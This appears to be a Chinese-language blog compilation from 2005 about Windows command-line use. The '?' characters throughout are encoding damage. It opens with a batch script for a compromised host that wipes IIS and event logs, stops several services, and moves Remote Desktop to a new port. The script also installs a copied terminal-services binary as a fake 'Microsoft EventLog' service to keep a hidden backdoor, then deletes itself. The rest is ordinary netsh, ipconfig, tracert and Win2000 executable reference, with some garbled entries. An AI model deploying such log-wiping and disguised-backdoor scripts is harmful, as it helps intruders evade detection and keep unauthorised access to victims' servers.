下面命令是清除肉雞所有日志，禁止一些危險的服務，并修改肉雞的terminnal?service留跳后路。?
@regedit?/s?patch.dll?
@net?stop?w3svc?
@net?stop?event?log?
@del?c:\winnt\system32\logfiles\w3svc1\*.*?/f?/q?
@del?c:\winnt\system32\logfiles\w3svc2\*.*?/f?/q?
@del?c:\winnt\system32\config\*.event?/f?/q?
@del?c:\winnt\system32dtclog\*.*?/f?/q?
@del?c:\winnt\*.txt?/f?/q?
@del?c:\winnt\*.log?/f?/q?
@net?start?w3svc?
@net?start?event?log?
@rem?[刪除日志]?




@net?stop?lanmanserver?/y?
@net?stop?Schedule?/y?
@net?stop?RemoteRegistry?/y?
@del?patch.dll?
@echo?The?server?has?been?patched,Have?fun.?
@del?patch.bat?
@REM?[禁止一些危險的服務。]?



@echo?[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal?
Server\WinStations\RDP-Tcp]?>>patch.dll?
@echo?"PortNumber"=dword:00002010?>>patch.dll?
@echo?[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal?
Server\Wds\rdpwd\Tds\tcp?>>patch.dll?
@echo?"PortNumber"=dword:00002012?>>patch.dll?
@echo?[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermDD]?
>>patch.dll?
@echo?"Start"=dword:00000002?>>patch.dll?
@echo?[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SecuService]?
>>patch.dll?
@echo?"Start"=dword:00000002?>>patch.dll?
@echo?"ErrorControl"=dword:00000001?>>patch.dll?
@echo?
"ImagePath"=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00,52,00,6f,00,6f,00,\?
>>patch.dll?
@echo?
74,00,25,00,5c,00,53,00,79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5c,00,65,\?
>>patch.dll?
@echo?
00,76,00,65,00,6e,00,74,00,6c,00,6f,00,67,00,2e,00,65,00,78,00,65,00,00,00?
>>patch.dll?
@echo?"ObjectName"="LocalSystem"?>>patch.dll?
@echo?"Type"=dword:00000010?>>patch.dll?
@echo?"De.ion"="Keep?record?of?the?program?and?windows'?message。"?
>>patch.dll?
@echo?"DisplayName"="Microsoft?EventLog"?>>patch.dll?
@echo?[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\termservice]?
>>patch.dll?
@echo?"Start"=dword:00000004?>>patch.dll?
@copy?c:\winnt\system32\termsrv.exe?c:\winnt\system32\eventlog.exe?
@REM?[修改3389連接，端口為8210(十六進制為00002012)，名稱為Microsoft?EventLog，留條后路]?

Fantasy?發表于2005-10-02 05:15:26?126?人閱讀?0?條評論??瀏覽全文??我要評論

2005-10-02　dos基礎

網絡常用命令：



IPCONFIG?
C:\>ipconfig?（更改后再用ipconfig命令看一下,確認一下是否更改成功）



Windows?2000?IP?Configuration



Ethernet?adapter?本地連接:



Connection-specific?DNS?Suffix?.?



IP?Address.?.?.?.?.?.?.?.?.?.?.?.?:?10.1.1.111?



Subnet?Mask?.?.?.?.?.?.?.?.?.?.?.?:?255.255.255.0



Default?Gateway?.?.?.?.?.?.?.?.?.?:?10.1.1.254




命令一覽?
..?-?移到上一層上下文級。?
??-?顯示命令列表。?
aaaa?-?更改到?`aaaa'?上下文。?
abort?-?丟棄在脫機模式下所做的更改。?
add?-?將一個配置項添加到項目列表中。?
alias?-?添加一個別名?
bye?-?退出程序。?
commit?-?提交在脫機模式中所做的更改。?
delete?-?在項目列表上刪除一個配置項目。?
dhcp?-?更改到?`dhcp'?上下文。?
dump?-?顯示一個配置腳本。?
exec?-?運行一個腳本文件。?
exit?-?退出程序。?
help?-?顯示命令列表。?
interface?-?更改到?`interface'?上下文。?
offline?-?將當前模式設置成脫機。?
online?-?將當前模式設置成聯機。?
popd?-?從堆棧上打開一個上下文。?
pushd?-?將當前上下文放推入堆棧。?
quit?-?退出程序。?
ras?-?更改到?`ras'?上下文。?
routing?-?更改到?`routing'?上下文。?
set?-?更新配置設置。?
show?-?顯示信息?
unalias?-?刪除一個別名。?
wins?-?更改到?`wins'?上下文。?
快速切換IP地址有絕招



在工作過程中會遇到在不同的網段中進行網絡調試的情況，經常需要將機器在幾個不同的IP地址中進行切換。在Win2000操作系統中改變IP地址較之Win98已經方便多了因為改完IP地址后不需要重啟計算機　，但還要進入網絡屬性設置中進行操作。有沒有再簡便一點的方法呢，比如用鼠標雙擊一下快捷方式就可以實現IP地址的切換?



　　答案是肯定的。在Win2000中用netsh命令就可以實現這個功能。首先進入命令行模式（在"開始→運行"中鍵入"cmd"即可進入命令行模式），在提示符下鍵入netsh即可進入netsh的界面。再鍵入int?ip進入接口IP的配置模式，鍵入dump則列出接口IP配置信息：



　　C:\Documents?and?Settings\Administrator>netsh?
　　netsh>?
　　netsh>int?ip?
　　interface?ip>dump?
　　#?----------------------------------?
　　#?接口?IP?配置?
　　#?----------------------------------?
　　pushd?interface?ip?
　　#?″本地連接″?的接口IP?配置（注：以下顯示視具體機器情況而定）?
　　set?address?name?=?″本地連接″?source?=?static?addr?=?192.168.0.5?mask?=?255.255.255.0?
　　set?address?name?=?″本地連接″?gateway?=?192.168.0.2?gwmetric?=?1?
　　set?dns?name?=?″本地連接″?source?=?static?addr?=?61.237.17.181?
　　add?dns?name?=?″本地連接″?addr?=?211.97.168.129?
　　add?dns?name?=?″本地連接″?addr?=?211.98.4.1?
　　set?wins?name?=?″本地連接″?source?=?static?addr?=?none?
　　#?″本地連接?2″?的接口?IP?配置?
　　set?address?name?=?″本地連接?2″?source?=?dhcp?
　　set?dns?name?=?″本地連接?2″?source?=?dhcp?
　　set?wins?name?=?″本地連接?2″?source?=?dhcp?
　　popd?
　　#?接口?IP?配置結束



快速切換IP地址有絕招?2




現在我們可以大致了解到用netsh命令更改IP地址的方式，即通過"set?address?name?=連接名稱（連接名稱要用引號括起來）source=static?addr=IP地址?mask=子網掩碼"來實現。



　　到命令行模式下用netsh直接試一下。比如要將本機的IP地址改為192.168.0.7，子網掩碼為255.255.255.0，可以進行以下操作：



　　C:\Documents?and?Settings\Administrator>netsh?
　　netsh>int?ip?
　　interface?ip>set?address?name?="本地連接"source?=?static?addr?=?192.168.0.7?mask?=?255.255.255.0?
　　確認更改。?
　　interface?ip>exit?
　　再用ipconfig命令核實一下：?
　　C:\Documents?and?Settings\Administrator>ipconfig?
　　Windows?2000?IP?Configuration?
　　Ethernet?adapter?本地連接?2?
　　Media?State?.?.?.?.?.?.?.?.?.?.?.??Cable?Disconnected?
　　Ethernet?adapter?本地連接?
　　Connection-specific?DNS?Suffix?.??
　　IP?Address.?.?.?.?.?.?.?.?.?.?.?.??192.168.0.7?
　　Subnet?Mask?.?.?.?.?.?.?.?.?.?.?.??255.255.255.0?
　　Default?Gateway?.?.?.?.?.?.?.?.?.??192.168.0.2



　　從以上顯示中可以看到已經成功實現了在Win2000中用命令行方式來改變IP地址。用這種方式改變IP地址甚至還沒有在圖形界面中操作來得快。不過我們再用腳本幫一下忙，離勝利目標就不遠了。首先打開記事本，輸入以下內容：?　　int?ip?
　　set?address?name=″本地連接″?source=static?addr=192.168.0.7?mask=255.255.255.0



　　然后保存為一個名為"7.sh"的文件，放到C盤根目錄下，再進入命令行模式，在C盤根目錄下鍵入"netsh?exec?7.sh"，好像沒什么反應啊?不過再用ipconfig查看一下，會發現IP地址已經改過來了。



　　最后再用記事本寫一個批處理文件，命名為"7.bat"，內容為"netsh?exec?7.sh"。為該文件在桌面上創建一個快捷方式，這樣雙擊該快捷方式即可實現IP地址的快速改變。如果要快速在192.168.0.5、192.168.0.7等相同網段IP地址間進行切換的話，只需要改變"addr"后面的地址即可，但是要將IP地址改為如172.19.96.7之類不同網段的IP地址，就需要將網關信息一起改變，也就是在腳本文件中加入一行關于網關的信息：



　　int?ip?
　　set?address?name?=?″本地連接″source?=?static?addr=?172.19.96.7?mask?=?255.255.255.0?
　　set?address?name?=?″本地連接″gateway?=?172.19.96.1?gwmetric?=?1



　　同樣地將以上內容存為腳本文件，再做成批處理文件執行一下，用ipconfig/all命令檢測一下，發現包括網關在內的信息也修改過來了。這是不是既快又方便，IP地址想換就換??
使用?netstat?顯示連接統計?
可以使用?netstat?命令顯示協議統計信息和當前的?TCP/IP?連接。netstat?-a?命令將顯示所有連接，而?netstat?-r?顯示路由表和活動連接。netstat?-e?命令將顯示?Ethernet?統計信息，而?netstat?-s?顯示每個協議的統計信息。如果使用?netstat?-n，則不能將地址和端口號轉換成名稱。?
Tracert（跟蹤路由）是路由跟蹤實用程序，用于確定?IP?數據報訪問目標所采取的路徑。Tracert?命令用?IP?生存時間?(TTL)?字段和?ICMP?錯誤消息來確定從一個主機到網絡上其他主機的路由。?
-d?指定不將IP?地址解析到主機名稱。?
-h?maximum_hops?指定躍點數以跟蹤到稱為?target_name?的主機的路由。?
-j?host-list?指定?Tracert?實用程序數據包所采用路徑中的路由器接口列表。?
-w?timeout?等待?timeout?為每次回復所指定的毫秒數。?
target_name?目標主機的名稱或?IP?地址。?
pathping?命令是一個路由跟蹤工具，它將?ping?和?tracert?命令的功能和這兩個工具所不提供的其他信息結合起來。pathping?命令在一段時間內將數據包發送到到達最終目標的路徑上的每個路由器，然后基于數據包的計算機結果從每個躍點返回。由于命令顯示數據包在任何給定路由器或鏈接上丟失的程度，因此可以很容易地確定可能導致網絡問題的路由器或鏈接。?
-n?Hostnames?不將地址解析成主機名。?
-h?Maximum?hops?搜索目標的最大躍點數。?
-g?Host-list?沿著路由列表釋放源路由。?
-p?Period?在?ping?之間等待的毫秒數。?
-q?Num_queries?每個躍點的查詢數。?
-w?Time-out?為每次回復所等待的毫秒數。?
-T?Layer?2?tag?將第?2?層優先級標記（例如，對于?IEEE?802.1p）連接到數據包并將它發送到路徑中的每個網絡設備。這有助于標識沒有正確配置第?2?層優先級的網絡設備。-T?開關用于測試服務質量?(QoS)?連通性。?
-R?RSVP?test?Che?檢查以確定路徑中的每個路由器是否支持"資源保留協議?(RSVP)"，此協議允許主機為數據流保留一定量的帶寬。?-R?開關用于測試服務質量?(QoS)?連通性。?
在命令提示符下交互使用?DHCP?命令?
打開?命令提示符。?
鍵入?netsh。?
在?netsh>(Netshell)?命令提示行鍵入"dhcp"。?
在?dhcp>（DHCP?輔助程序）命令提示行，為您要管理的服務器鍵入?server?\\servername?或?server?ip_address。?
一旦您有權管理的服務器已成功連接，則會看到"您可以對服務器?servername?進行讀寫訪問"?
一旦連接成功，您就可以使用用于?DHCP?的任何支持的?Netshell?命令。?鍵入?/??或?help?來顯示直接的?DHCP?子命令菜單或作為選項顯示，鍵入?list?列出可與?DHCP?一起使用的所有?Netshell?子命令。?
route?的命令?
routing?ip?add/delete/set/show?interface?在指定接口上添加、刪除、配置或顯示常規?IP?路由設置。?
routing?ip?add/delete/set/show?filter?在指定接口上添加、刪除、配置或顯示?IP?數據包篩選器。?
routing?ip?add/delete/show?boundary?在指定接口上添加、刪除或顯示多播邊界設置。?
routing?ip?add/set?ipiptunnel?添加或配置?IP?中的?IP?接口。?
routing?ip?add/delete/set/show?rtmroute?添加、配置或顯示不持續的路由表管理器路由。?
routing?ip?add/delete/set/show?persistentroute?添加、刪除、配置或顯示持續路由。?
routing?ip?add/delete/set/show?preferenceforprotocol?添加、刪除、配置或顯示路由協議的優先級。?
routing?ip?add/delete/set/show?scope?添加、刪除或顯示多播作用域。?
routing?ip?set/show?loglevel?配置或顯示全局?IP?記錄等級。?
routing?ip?show?helper?顯示?IP?的所有?Netsh?實用程序子環境。?
routing?ip?show?protocol?顯示所有正在運行的?IP?路由協議。?
routing?ip?show?mfe?顯示多播轉發項。?
routing?ip?show?mfestats?顯示多播轉發項統計。?
routing?ip?show?boundarystats?顯示?IP?多播邊界。?
routing?ip?show?rtmdestinations?顯示路由表管理器路由表中的目標。?
routing?ip?show?rtmroutes?顯示路由表管理器路由表中的路由。?
routing?ip?nat?set/show?global?配置或顯示全局網絡地址轉換?(NAT)?設置。?
routing?ip?nat?add/delete/set/show?interface?添加、刪除、配置或顯示指定接口的?NAT?設置。?
routing?ip?nat?add/delete?addre***ange?在?NAT?接口公用地址池中添加或刪除一個地址范圍。?
routing?ip?nat?add/delete?addressmapping?添加或刪除?NAT?地址映射。?
routing?ip?nat?add/delete?portmapping?添加或刪除?NAT?端口映射。?
routing?ip?autodhcp?set/show?global?配置或顯示全局?DHCP?分配器參數。?
routing?ip?autodhcp?set/show?interface?配置或顯示指定接口的?DHCP?分配器設置。?
routing?ip?autodhcp?add/delete?exclusion?在?DHCP?分配器地址范圍中添加或刪除一個排除范圍。?
routing?ip?dnsproxy?set/show?global?配置或顯示全局?DNS?代理參數。?
routing?ip?dnsproxy?set/show?interface?配置或顯示指定接口的?DNS?代理參數。?
routing?ip?igmp?set/show?global?配置或顯示?IGMP?全局設置。?
routing?ip?igmp?add/delete/set/show?interface?在指定接口上添加、刪除、配置或顯示?IGMP。?
routing?ip?igmp?add/delete?staticgroup?添加或刪除指定接口的靜態多播組。?
routing?ip?igmp?show?grouptable?顯示?IGMP?主機組表。?
routing?ip?igmp?show?ifstats?顯示每個接口的?IGMP?統計。?
routing?ip?igmp?show?iftable?顯示每個接口的?IGMP?主機組。?
routing?ip?igmp?show?proxygrouptable?顯示?IGMP?代理接口的?IGMP?組表。?
routing?ip?igmp?show?rasgrouptable?顯示遠程訪問服務器所使用的?Internet?接口的組表。?
routing?ip?ospf?set/show?global?配置或顯示全局?OSPF?設置。?
routing?ip?ospf?add/delete/set/show?interface?在指定接口上添加、刪除、配置或顯示?OSPF。?
routing?ip?ospf?add/delete/set/show?area?添加、刪除、配置或顯示?OSPF?區域。?
routing?ip?ospf?add/delete/show?range?在指定的?OSPF?區域上添加、刪除、配置或顯示范圍。?
routing?ip?ospf?add/delete/set/show?virtif?添加、刪除、配置或顯示?OSPF?虛擬接口。?
routing?ip?ospf?add/delete/show?neighbor?添加、刪除、配置或顯示?OSPF?鄰居。?
routing?ip?ospf?add/delete/show?protofilter?添加、刪除、配置或顯示?OSPF?外部路由的路由信息源。?
routing?ip?ospf?add/delete/show?routefilter?添加、刪除、配置或顯示?OSPF?外部路由的路由篩選。?
routing?ip?ospf?show?areastats?顯示?OSPF?區域統計。?
routing?ip?ospf?show?lsdb?顯示?OSPF?鏈接狀態數據庫。?
routing?ip?ospf?show?virtifstats?顯示?OSPF?虛擬鏈接統計。?
routing?ip?relay?set?global?配置"DHCP?中繼代理程序"的全局設置。?
routing?ip?relay?add/delete/set?interface?在指定接口上添加、刪除或配置"DHCP?中繼代理程序"設置。?
routing?ip?relay?add/delete?dhcpserver?在?DHCP?服務器地址列表中添加或刪除?DHCP?服務器的?IP?地址。?
routing?ip?relay?show?ifbinding?顯示接口的?IP?地址綁定。?
routing?ip?relay?show?ifconfig?顯示每個接口的"DHCP?中繼代理程序"配置。?
routing?ip?relay?show?ifstats?顯示每個接口的?DHCP?統計。?
routing?ip?rip?set/show?global?配置?IP?的?RIP?全局設置。?
routing?ip?rip?add/delete/set/show?interface?在指定接口上添加或配置?IP?的?RIP?設置。?
routing?ip?rip?add/delete?peerfilter?添加或刪除?RIP?對等篩選器。?
routing?ip?rip?add/delete?acceptfilter?在接受的路由列表中添加或刪除?RIP?路由篩選器。?
routing?ip?rip?add/delete?announcefilter?在公布的路由列表中添加或刪除?RIP?路由篩選器。?
routing?ip?rip?add/delete/show?neighbor?添加或刪除?RIP?鄰居。?
routing?ip?rip?set/show?flags?在指定接口上配置?IP?RIP?高級設置。?
routing?ip?rip?show?globalstats?顯示全局?RIP?參數。?
routing?ip?rip?show?ifbinding?顯示接口的?IP?地址綁定。?
routing?ip?rip?show?ifstats?顯示每個接口的?RIP?統計。?
IPX?netsh?路由命令?
routing?ipx?add/set?staticroute?在?IPX?路由表中添加或配置靜態?IPX?路由。?
routing?ipx?add/set?staticservice?在?SAP?服務表中添加或配置靜態?SAP?服務。?
routing?ipx?add/set?filter?在指定的接口上添加或配置?IPX?數據包篩選器。?
routing?ipx?add/set?interface?在請求撥號接口上啟用?IPX?路由，或在指定的接口上配置?IPX?設置。?
routing?ipx?set?global?配置全局?IPX?路由設置。?
routing?ipx?rip?add/set?filter?添加和配置?RIP?路由篩選器。?
routing?ipx?rip?set?global?配置全局?IPX?的?RIP?設置。?
routing?ipx?rip?set?interface?在指定接口上配置?IPX?的?RIP?設置。?
routing?ipx?sap?add/set?filter?添加或配置?SAP?服務篩選器。?
routing?ipx?sap?set?global?配置全局?IPX?的?SAP?設置。?
routing?ipx?sap?set?interface?在指定接口上配置?IPX?的?SAP?設置。?
routing?ipx?netbios?add?nbname?將靜態?NETBIOS?名稱添加到?IPX?NetBIOS?名稱表中。?
routing?ipx?netbios?set?interface?在指定接口上配置基于?IPX?的?NetBIOS?設置。?
WINS?NetSh?命令?
list?列出所有可用的?WINS?命令。?
dump?將?WINS?服務器配置轉儲到命令輸出。?
add?name?在服務器上注冊名稱。詳細信息，請輸入?add?name?/??
add?partner?向服務器添加復制伙伴。詳細信息，請輸入?add?partner?/??
add?pngserver?添加當前服務器的?Persona?Non?Grata?服務器列表。詳細信息，請輸入?add?pngserver?/??
check?database?檢查數據庫的一致性。詳細信息，請輸入?check?database?/??
check?name?檢查一組?WINS?服務器的名稱記錄列表。詳細信息，請輸入?check?name?/??
check?version?檢查版本號的一致性。詳細信息，請輸入?check?version?/??
delete?name?從服務器數據庫中刪除已注冊的名稱。詳細信息，請輸入?delete?name?/??
delete?partner?從復制伙伴列表中刪除復制伙伴。詳細信息，請輸入?delete?partner?/??
delete?records?從服務器刪除或邏輯刪除所有記錄或一組記錄。詳細信息，請輸入?delete?records?/??
delete?owners?刪除所有者列表及其記錄。詳細信息，請輸入?delete?owners?/??
delete?pngserver?從列表中刪除所有的或選定的?Persona?Non?Grata?服務器。詳細信息，請輸入?delete?pngserver?/??
init?backup?備份?WINS?數據庫。詳細信息，請輸入?init?backup?/??
init?import?從?Lmhosts?文件導入數據。詳細信息，請輸入?init?import?/??
init?pull?啟動"拉"觸發器，并發送給另一臺?WINS?服務器。詳細信息，請輸入?init?pull?/??
init?pullrange?開始另一臺?WINS?服務器的一組記錄，并讀取該記錄。詳細信息，請輸入?init?pullrange?/??
init?push?啟動"推"觸發器，并發送給另一臺?WINS?服務器。詳細信息，請輸入?init?push?/??
init?replicate?用復制伙伴復制數據庫。詳細信息，請輸入?init?replicate?/??
init?restore?從文件還原數據庫。詳細信息，請輸入?init?restore?/??
init?scavenge?清除服務器的?WINS?數據庫。詳細信息，請輸入?init?scavenge?/??
init?search?搜索服務器的?WINS?數據庫。詳細信息，請輸入?init?search?/??
reset?statistics?重置服務器的統計信息。詳細信息，請輸入?reset?statistics?/??
set?autopartnerconfig?設置服務器的自動復制伙伴配置信息。詳細信息，請輸入?set?autopartnerconfig?/??
set?backuppath?設置服務器的備份參數。詳細信息，請輸入?set?backuppath?/??
set?burstparam?設置服務器的突發處理參數。詳細信息，請輸入?set?autopartnerconfig?/??
set?logparam?設置數據庫和事件日志記錄選項。詳細信息，請輸入?set?logparam?/??
set?migrateflag?設置服務器的遷移標志。詳細信息，請輸入?set?migrateflag?/??
set?namerecord?設置服務器的間隔和超時值。詳細信息，請輸入?set?namerecord?/??
set?periodicdbchecking?設置服務器的定期數據庫檢查參數。詳細信息，請輸入?set?periodicdbchecking?/??
set?pullpartnerconfig?設置指定的"拉"伙伴的配置參數。詳細信息，請輸入?set?pullpartnerconfig?/??
set?pushpartnerconfig?設置指定的"推"伙伴的配置參數。詳細信息，請輸入?set?pushpartnerconfig?/??
set?pullparam?設置服務器的默認"拉"參數。詳細信息，請輸入?set?pullparam?/??
set?pushparam?設置服務器的默認"推"參數。詳細信息，請輸入?set?pushparam?/??
set?replicateflag?設置服務器的復制標志。詳細信息，請輸入?set?replicateflag?/??
set?startversion?設置數據庫的開始版本?ID。詳細信息，請輸入?set?startversion?/??
show?browser?顯示所有活動域主瀏覽器的?[1Bh]?記錄。詳細信息，請輸入?show?browser?/??
show?database?顯示指定服務器的數據庫和記錄。詳細信息，請輸入?show?database?/??
show?info?顯示配置信息。詳細信息，請輸入?show?info?/??
show?name?顯示服務器中特定記錄的詳細信息。詳細信息，請輸入?show?name?/??
show?partner?顯示服務器的"拉"或"推"（或"推拉"）伙伴。詳細信息，請輸入?show?partner?/??
show?partnerproperties?顯示默認伙伴配置。詳細信息，請輸入?show?partnerproperties?/??
show?pullpartnerconfig?顯示"拉"伙伴的配置信息。詳細信息，請輸入?show?pullpartnerconfig?/??
show?pushpartnerconfig?顯示"推"伙伴的配置信息。詳細信息，請輸入?show?pushpartnerconfig?/??
show?reccount?顯示指定服務器所擁有的記錄數量。詳細信息，請輸入?show?reccount?/??
show?recbyversion?顯示指定服務器所擁有的記錄。詳細信息，請輸入?show?recbyversion?/??
show?server?顯示當前選定的服務器。詳細信息，請輸入?show?server?/??
show?statistics?顯示?WINS?服務器的統計信息。詳細信息，請輸入?show?statistics?/??
show?version?顯示?WINS?服務器的當前版本計數器值。詳細信息，請輸入?show?version?/??
show?versionmap?顯示所有者?ID?到"最大版本數"的映射。詳細信息，請輸入?show?versionmap?/??
Interface?命令?
interface?set/show?interface?啟用、禁用、連接、斷開連接以及顯示請求撥號接口的配置。?
interface?set/show?credentials?在請求撥號接口上配置或顯示用戶名、密碼和域名。?




Win2000命令全集?



accwiz.exe?>?Accessibility?Wizard?for?walking?you?through?setting?up?your?machine?for?your?mobility?needs.?輔助工具向導?



acsetups.exe?>?ACS?setup?DCOM?server?executable?



actmovie.exe?>?Direct?Show?setup?tool?直接顯示安裝工具?



append.exe?>?Allows?programs?to?open?data?in?specified?directories?as?if?they?were?in?the?current?directory.?允許程序打開制定目錄中的數據?



arp.exe?>?NETWORK?Display?and?modify?IP?-?Hardware?addresses?顯示和更改計算機的IP與硬件物理地址的對應列表?



at.exe?>?AT?is?a?scheduling?utility?also?included?with?UNIX?計劃運行任務?



atmadm.exe?>?Displays?statistics?for?ATM?call?manager.?ATM調用管理器統計?



attrib.exe?>?Display?and?modify?attributes?for?files?and?folders?顯示和更改文件和文件夾屬性?



autochk.exe?>?Used?to?check?and?repair?Windows?File?Systems?檢測修復文件系統?



autoconv.exe?>?Automates?the?file?system?conversion?during?reboots?在啟動過程中自動轉化系統?



autofmt.exe?>?Automates?the?file?format?process?during?reboots?在啟動過程中格式化進程?



autolfn.exe?>?Used?for?formatting?long?file?names?使用長文件名格式?



bootok.exe?>?Boot?acceptance?application?for?registry?bootvrfy.exe?>?Bootvrfy.exe,?a?program?included?in?Windows?2000?that?notifies?the?system?that?startup?was?successful.?Bootvrfy.exe?can?be?run?on?a?local?or?remote?computer.?通報啟動成功?
cacls.exe?>?Displays?or?modifies?access?control?lists?(ACLs)?of?files.?顯示和編輯ACL?



calc.exe?>?Windows?Calculators?計算器?



cdplayer.exe?>?Windows?CD?Player?CD播放器?



change.exe?>?Change?{?User?|?Port?|?Logon?}?與終端服務器相關的查詢?



charmap.exe?>?Character?Map?字符映射表?



chglogon.exe?>?Same?as?using?"Change?Logon"?啟動或停用會話記錄?



chgport.exe?>?Same?as?using?"Change?Port"?改變端口（終端服務）?



chgusr.exe?>?Same?as?using?"Change?User"?改變用戶（終端服務）?



chkdsk.exe?>?Check?the?hard?disk?for?errors?similar?to?Scandisk?3?Stages?must?specify?a?Drive?Letter?磁盤檢測程序?



chkntfs.exe?>?Same?as?using?chkdsk?but?for?NTFS?NTFS磁盤檢測程序?



cidaemon.exe?>?Component?of?Ci?Filer?Service?組成Ci文檔服務?



cipher.exe?>?Displays?or?alters?the?encryption?of?directories?[files]?on?NTFS?partitions.?在NTFS上顯示或改變加密的文件或目錄?



cisvc.exe?>?Content?Index?--?It's?the?content?indexing?service?for?I?索引內容?



ckcnv.exe?>?Cookie?Convertor?變換Cookie?



cleanmgr.exe?>?Disk?Cleanup,?popular?with?Windows?98?磁盤清理?



cliconfg.exe?>?SQL?Server?Client?Network?Utility?SQL客戶網絡工具?clipbrd.exe?>?Clipboard?viewer?for?Local?will?allow?you?to?connect?to?other?clipboards?剪貼簿查看?



clipsrv.exe?>?Start?the?clipboard?Server?運行Clipboard服務?



clspack.exe?>?CLSPACK?used?to?create?a?file?listing?of?system?packages?建立系統文件列表清?



cluster.exe?>?Display?a?cluster?in?a?domain?顯示域的集群?



_cmd_.exe?>?Famous?command?prompt?沒什么好說的！?



cmdl32.exe?>?Connection?Manager?Auto-Download?自動下載連接管理?



cmmgr32.exe?>?Connection?Manager?連接管理器?



cmmon32.exe?>?Connection?Manager?Monitor?連接管理器監視?



cmstp.exe?>?Connection?Manager?Profile?Manager?連接管理器配置文件安裝程序?



comclust.exe?>?about?cluster?server?集群?



comp.exe?>?ComClust?Add,?Remove,?or?Join?a?cluster.?比較兩個文件和文件集的內容＊?



compact.exe?>?Displays?or?alters?the?compression?of?files?on?NTFS?partitions.?顯示或改變NTFS分區上文件的壓縮狀態?



conime.exe?>?Console?IME?IME控制臺?



control.exe?>?Starts?the?control?panel?控制面板?



convert.exe?>?Convert?File?System?to?NTFS?轉換文件系統到NTFS?



convlog.exe?>?Converts?MS?IIS?log?files?轉換IIS日志文件格式到NCSA格式?



cprofile.exe?>?Copy?profiles?轉換顯示模式?



c..exe?>?MS?Windows?.s?Host?Version?5.1?較本宿主版本?



csrss.exe?>?Client?Server?Runtime?Process?客戶服務器Runtime進程?



csvde.exe?>?Comma?Separated?Variable?Import/Export?Utility?日至格式轉換程序?



dbgtrace.exe?>?和Terminal?Server相關?



dcomcnfg.exe?>?Display?the?current?DCOM?configuration.?DCOM配置屬性?



dcphelp.exe?>???



dcpromo.exe?>?Promote?a?domain?controller?to?ADSI?AD安裝向導?



ddeshare.exe?>?Display?DDE?shares?on?local?or?remote?computer?DDE共享?



ddmprxy.exe?>?



debug.exe?>?Runs?Debug,?a?program?testing?and?editing?tool.?就是DEBUG啦！?



dfrgfat.exe?>?Defrag?FAT?file?system?FAT分區磁盤碎片整理程序?



dfrgntfs.exe?>?Defrag?NTFS?file?system?NTFS分區磁盤碎片整理程序?



dfs_cmd_.exe?>?configures?a?Dfs?tree?配置一個DFS樹?



dfsinit.exe?>?Distributed?File?System?Initialization?分布式文件系統初始化?



dfssvc.exe?>?Distributed?File?System?Server?分布式文件系統服務器?



diantz.exe?>?MS?Cabinet?Maker?制作CAB文件?



diskperf.exe?>?Starts?physical?Disk?Performance?counters?磁盤性能計數器?



dllhost.exe?>?dllhost?is?used?on?all?versions?of?Windows?2000.?dllhost?is?the?hedost?process?for?all?COM+?applications.?所有COM+應用軟件的主進程?



dllhst3g.exe?>?

網絡常用命令:



dmadmin.exe?>?Disk?Manager?Service?磁盤管理服務?



dmremote.exe?>?Part?of?disk?management?磁盤管理服務的一部分?



dns.exe?>?DNS?Applications?DNS?



doskey.exe?>?recalls?Windows?command?lines?and?creates?macros?命令行創建宏?



dosx.exe?>?DOS?Extender?DOS擴展?



dplaysvr.exe?>?Direct?Play?Helper?直接運行幫助?



drwatson.exe?>?Dr?Watson?for?2000?Fault?Detector?華生醫生錯誤檢測?



drwtsn32.exe?>?Dr?Watson?for?2000?viewer?and?configuration?manager?華生醫生顯示和配置管理?



dtcsetup.exe?>?Installs?MDTC?



dvdplay.exe?>?Windows?2000?DVD?player?DVD播放?



dxdiag.exe?>?Direct-X?Diagnostics?Direct-X診斷工具?



edlin.exe?>?line-oriented?text?editor.?命令行的文本編輯器（歷史悠久啊！）?
edlin.exe?>?line-oriented?text?editor.?命令行的文本編輯器（歷史悠久啊！）?



esentutl.exe?>?MS?Database?Utility?MS數據庫工具?



eudcedit.exe?>?Private?character?editor?Ture?Type造字程序?



eventvwr.exe?>?Windows?2000?Event?Viewer?事件查看器?



evnt_cmd_.exe?>?Event?to?trap?translator;?Configuration?tool?



evntwin.exe?>?Event?to?trap?translator?setup?



exe2bin.exe?>?Converts?EXE?to?binary?format?轉換EXE文件到二進制?



expand.exe?>?Expand?Files?that?have?been?compressed?解壓縮?



extrac32.exe?>?CAB?File?extraction?utility?解CAB工具?



fastopen.exe?>?Fastopen?tracks?the?location?of?files?on?a?hard?disk?and?stores?the?information?in?memory?for?fast?access.?快速訪問在內存中的硬盤文件?



faxcover.exe?>?Fax?Cover?page?editor?傳真封面編輯?



faxqueue.exe?>?Display?Fax?Queue?顯示傳真隊列?



faxsend.exe?>?Fax?Wizard?for?sending?faxes?發送傳真向導?



faxsvc.exe?>?Starts?fax?server?啟動傳真服務?



fc.exe?>?Compares?two?files?or?sets?of?files?and?their?differences?比較兩個文件的不同?



find.exe?>?Searches?for?a?text?string?in?file?or?files?查找文件中的文本行?



findstr.exe?>?Searches?for?strings?in?files?查找文件中的行?



finger.exe?>?Fingers?a?user?and?displays?statistics?on?that?user?Finger一個用戶并顯示出統計結果?



fixmapi.exe?>?Fix?mapi?files?修復MAPI文件?



flattemp.exe?>?Enable?or?disable?temporally?directories?允許或者禁用臨時文件目錄?



fontview.exe?>?Display?fonts?in?a?font?file?顯示字體文件中的字體?



forcedos.exe?>?Forces?a?file?to?start?in?dos?mode.?強制文件在DOS模式下運行?



freecell.exe?>?Popular?Windows?Game?空當接龍?



ftp.exe?>?File?Transfer?Protocol?used?to?transfer?files?over?a?network?connection?就是FTP了?



gdi.exe?>?Graphic?Device?Interface?圖形界面驅動?



grovel.exe?>?



grpconv.exe?>?Program?Manager?Group?Convertor?轉換程序管理員組?



help.exe?>?displays?help?for?Windows?2000?commands?顯示幫助?



hostname.exe?>?Display?hostname?for?machine.?顯示機器的Hostname?



ie4uinit.exe?>?IE5?User?Install?tool?IE5用戶安裝工具?



ieshwiz.exe?>?Customize?folder?wizard?自定義文件夾向導?



iexpress.exe?>?Create?and?setup?packages?for?install?穿件安裝包?



